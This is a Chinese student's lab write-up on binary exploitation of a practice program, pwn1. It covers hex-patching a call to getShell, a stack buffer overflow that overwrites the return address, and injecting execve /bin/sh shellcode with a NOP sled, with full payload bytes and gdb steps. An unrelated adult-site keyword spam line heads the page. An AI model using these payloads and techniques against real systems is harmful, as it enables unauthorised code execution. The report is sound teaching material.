日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Exp1 PC平台逆向破解 20164309 欧阳彧骁

發布時間:2024/4/24 编程问答 109 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Exp1 PC平台逆向破解 20164309 欧阳彧骁 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

?

?

一、實踐目標

本次實踐的對象是一個名為pwn1的linux可執行文件。

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。

?

三個實踐內容如下:

手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。

利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。

注入一個自己制作的shellcode并運行這段shellcode。

?

這幾種思路,基本代表現實情況中的攻擊目標:

運行原本不可訪問的代碼片段

強行修改程序執行流

以及注入運行任意代碼。

?

二、基礎知識:

1.通過結合計算機組成原理以及查閱相關資料,我們知道了NOP, JNE, JE, JMP, CMP等常用匯編指令的機器碼:

NOP:一個空指令,什么都不做,讓cpu等待一段時間,并且該指令會自動對齊尋址。機器碼為0x90;

JNE:一個條件轉移指令,當零標志z=0時跳轉至標號,z=1時順序執行下一條指令。機器碼為0x75;

JE:一個條件轉移指令,當零標志z=1時跳轉至標號,z=0時順序執行下一條指令。機器碼為0x74;

JMP:無條件轉移指令。段內直接近轉移Jmp near,機器碼為0xe9; 段內間接轉移Jmp word,機器碼為0xff;段內直接短轉Jmp short,機器碼為0xeb; 段間直接(遠)轉移Jmp far,機器碼為0xea;

CMP:比較指令,執行減法操作但不保存運算結果。

?

2.掌握反匯編與十六進制編程器

通過查閱資料我們可以知道:

objdump反匯編命令:

objdump -f test???? //顯示test的文件頭信息

objdump -d test??? //反匯編test中的需要執行指令的那些section

objdump -D test??? //與-d類似,但反匯編test中的所有section

objdump -h test??? //顯示test的Section Header信息

objdump -x test??? //顯示test的全部Header信息

objdump -s test??? //除了顯示test的全部Header信息,還顯示他們對應的十六進制文件代碼???

?

?

xxd命令:

用vi命令打開一個文件,在vi命令模式下輸入

:%!xxd??????????? //回車后,該文件會以十六進制形式顯示

:%!xxd -r???????? //參數-r是指將當前的十六進制轉換為二進制

?

三、實踐內容

1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。

設置共享文件夾將pwn1文件導入主目錄后并修改文件名為20164309,輸入:

objdump -d 20164309 | more

得到反匯編代碼:

繼續下拉,找到getshell、foo與main函數:

?

由主函數我們可以看出main函數調用foo,相應的機器指令為“e8 d7ffffff”,其中“e8”為跳轉的意思。本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行“EIP + d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,即為目標地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491這個值,即為跳轉的目標地址。那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。用Windows計算器,直接47d-4ba就能得到補碼,是c3ffffff。注意計算時是小端模式低字節優先。

?修改可執行文件,將call指令的目標地址由d7ffffff變為c3ffffff。

?

進入到文件的vi模式,輸入:

Vim 20164309

?

按esc鍵退出,輸入:

?

:%!xxd

以查看其十六進制

?

輸入:

/e8 d7

找到目標代碼 在000004b0

?

?

記錄目標位置在000004b0這行,找到目標,將光標移至d,按r鍵后修改為c,同理修改7為3:

?

輸入:

:%!xxd -r

轉換16進制為原格式

?

輸入:

:wq

存盤退出

?

對文件再次進行反匯編,找到主函數中之前調用foo的位置,發現call指令已經改為調用getshell了

?

運行后發現可以調用shell

?

2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數

進行反匯編

?

我們可以利用foo函數中的Buffer overflow漏洞,造成緩沖區溢出,來覆蓋返回地址為主函數中的80484ba,從而調用getshell函數。

?

?2.1確認輸入字符串哪幾個字符會覆蓋到返回地址

輸入:

gdb 20164309-2

再輸入r指令執行程序,我們可以嘗試著輸入一段字符串1111111122222222333333334444444412345678共40個字符

?

再輸入info r查看寄存器信息發現正是之前0x34333231,即為4321的ASCII碼,根據老師上課所講的知識可以知道Linux地址是由高到低的,說明覆蓋成功,之后的操作將其修改為getshell地址就能返回運行到getshell了。

由于是第32為之后的覆蓋成功,能由此可見緩存區32個字節。

?

2.2構造輸入字符串

由于小端模式我們將地址倒過來輸入即可:(原為0804847d改為7d840408)

11111111222222223333333344444444\x7d\x84\x04\x08

再之后加一個\x0a表示回車就構造完成了。

輸入:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

?

將input的輸入,通過管道符“|”,作為20164309-2的輸入,即可攻擊成功

(cat input; cat) | ./20164309-2

?

?3.注入一個自己制作的shellcode并運行這段shellcode

?

?3.1準備一段shellcode

使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

這段機器指令,獲取一個交互式的shell

?

3.2下載execstack,使用期關閉地址隨機化,減少實驗難度(0為關閉,2為開啟)

?

?3.3構造注入需要的payload

采用retaddr+nop+shellcode結構進行構造(nop一為是了填充,二是作為“著陸區/滑行區”。我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。):

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

?

\x4\x3\x2\x1是將來要存放覆蓋RET地址的位置。

?3.4進行攻擊

輸入之前構造的代碼

?

同時開啟另一個終端來調試進程

輸入:

ps -ef | grep 20164309-3

?

啟動gdb調試這個進程

attach 35781

?

?

通過設置斷點,來查看注入buf的內存地址

通過disassemble foo進行反匯編以設置斷點

輸入

break *0x080484ae

?

再輸入

info r esp

對esp語句進行查找

?

我們可以看到0xffffd30內容被覆蓋為了1234,我們需要將之后的90909090覆蓋,則往后移四位地址,則目標地址為:0xffffd310

由此我們可以重新構造攻擊代碼:

perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻擊成功!

?

?

?四、實驗收獲與感想

1.實驗收獲

這是我第一次進行網絡對抗技術的實驗,深感自己的基本功不夠扎實,課后花了加倍的時間才把老師上課早已講清楚的步驟和知識點弄懂。

在進行“注入一個自己制作的shellcode并運行這段shellcode”這項實驗時,我因為弄不清楚原理照著實驗指導照貓畫虎導致了多次失敗,幸虧在實踐中搞明白了一開始的那一段攻擊代碼是中的起始的1234是存放覆蓋ret地址的位置,在讓我明白了第一次構造是嘗試,第二次才是動真格的。

總之,此次實驗不僅讓我感受到Linux基本功還不夠扎實,更表現了我動手能力的不足,希望在今后的九次實驗中,我能夠收獲知識與實踐能力。

?

2.什么是漏洞?漏洞有什么危害?

漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,也就是我們所說的“bug”。就像本次實驗中利用foo函數的Bof漏洞,便是程序代碼存在一定的漏洞。

這些漏洞大多都是無意中被創造的,由于設計時不夠嚴謹導致一些問題,甚至有些漏洞被不懷好意之人所以利用,它在我們的日常生活中時常有體現:木馬蠕蟲在網絡上大行其道,破壞人們的信息、財產安全,甚至給企業政府造成難以挽回的損失。

?

轉載于:https://www.cnblogs.com/20164309-kx/p/10534473.html

總結

以上是生活随笔為你收集整理的Exp1 PC平台逆向破解 20164309 欧阳彧骁的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。